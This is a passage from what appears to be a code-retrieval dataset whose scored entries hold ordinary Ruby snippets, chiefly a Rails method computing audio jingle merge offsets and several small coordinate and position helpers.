"text": "def normalized_offsets\n array = []\n \n if parent\n merges_array = parent.\n child_merges.\n sort_by(&:created_at)\n \n merges_array.each_with_index do |m, i|\n # Setting up the first values \n \n if m.child_offset > 0\n m.child_jingle.offset = m.child_offset\n \n m.child_jingle.absolute_offset = m.child_offset\n \n array << m.child_jingle\n if i > 0\n array.each do |a|\n array.each_with_index do |x,y|\n if a.id == m.child_jingle.id && a.absolute_offset > x.absolute_offset\n #Rails.logger.debug(\"#{a.id} vs. #{m.child_jingle.id} OFFSETS: #{a.absolute_offset} > #{x.absolute_offset}\")\n array.insert(y-1, array.delete_at(-1))\n break\n end\n \n if a.id == m.child_jingle.id && a.absolute_offset < x.absolute_offset\n #Rails.logger.debug(\"#{a.id} vs. #{m.child_jingle.id} OFFSETS: #{a.absolute_offset} < #{x.absolute_offset}\")\n array.insert(y+1, array.delete_at(-1))\n break\n end\n end\n end\n end\n else\n m.child_jingle.offset = 0\n array.unshift(m.child_jingle)\n end\n \n # Sets up the first merge\n if i == 0\n # If the first merge has a parent offset\n if m.parent_offset > 0\n m.parent_jingle.offset = m.parent_offset\n m.parent_jingle.absolute_offset = m.parent_offset\n array << m.parent_jingle\n else\n m.parent_jingle.offset = 0\n m.parent_jingle.absolute_offset = 0\n array.unshift(m.parent_jingle)\n end\n end\n \n if m.parent_offset > 0\n array[1].offset = m.parent_offset\n array.each_with_index do |a,n|\n a.absolute_offset = 0 if a.absolute_offset.nil?\n unless n == 0\n a.absolute_offset += m.parent_offset unless a.id == m.child_jingle.id\n end\n end\n end\n end\n end\n \n array = array.reverse\n \n array.each_with_index do |a,n|\n unless a.offset == 0 # Skip the first track\n Rails.logger.debug(\"MATH: #{a.id} - #{array[n+1].absolute_offset}\")\n a.absolute_offset = 0 if a.absolute_offset.blank? # In case of a nil\n array[n+1].absolute_offset = 0 if array[n+1].absolute_offset.blank? # In case of a nil\n a.offset = (a.absolute_offset - array[n+1].absolute_offset).abs\n end\n end\n #array.each {|a| Rails.logger.debug(\"OFFSET: ID#{a.id} #{a.offset}\")}\n return array\n end",
"title": ""
},
{
"docid": "f9a369d9d55666295696987f862ebdd1",
"score": "0.42504376",
"text": "def set_object_position(obj, value)\n obj.x = value\n end",
"title": ""
},
{
"docid": "41adc3915d89403a9340ac41fecdda5a",
"score": "0.42501062",
"text": "def point_x\n self.coord.split(\"_\")[0]\n end",
"title": ""
},
{
"docid": "ddef9fe411d9e84a623b9ea16185cc21",
"score": "0.4247125",
"text": "def do_underscore state \n x = mega_pop state\n if 0 == x # move right if value = 0\n state[:x_position] = (state[:x_position]+1) % state[:width]\n else\n state[:x_position] = state[:x_position] == 0 ? state[:width] - 1 : state[:x_position] - 1\n end\n end",
"title": ""
},
{
"docid": "34f3bd00b5749c0436b56191d4d8a22f",
"score": "0.42374763",
"text": "def screen_x\n if $game_temp.enemies_position[self.index] != nil\n return $game_temp.enemies_position[self.index][0]\n else\n return $data_troops[@troop_id].members[@member_index].x + Enemy_Position_AdjustX\n end \n end",
"title": ""
},
{
"docid": "bf0b40ada0e9b965609507e05c4bbe4a",
"score": "0.4236832",
"text": "def dpi_x\n self.class.dpm_to_dpi(dpm_x)\n end",
"title": ""
},
{
"docid": "09ccc16ff86d7f2c18f0d9b5a92fdc28",
"score": "0.42287463",
"text": "def decrementX\n @currentPos.x -= 1\n if @currentPos.x < @grid.minX\n @currentPos.x = @grid.maxX\n end\n end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.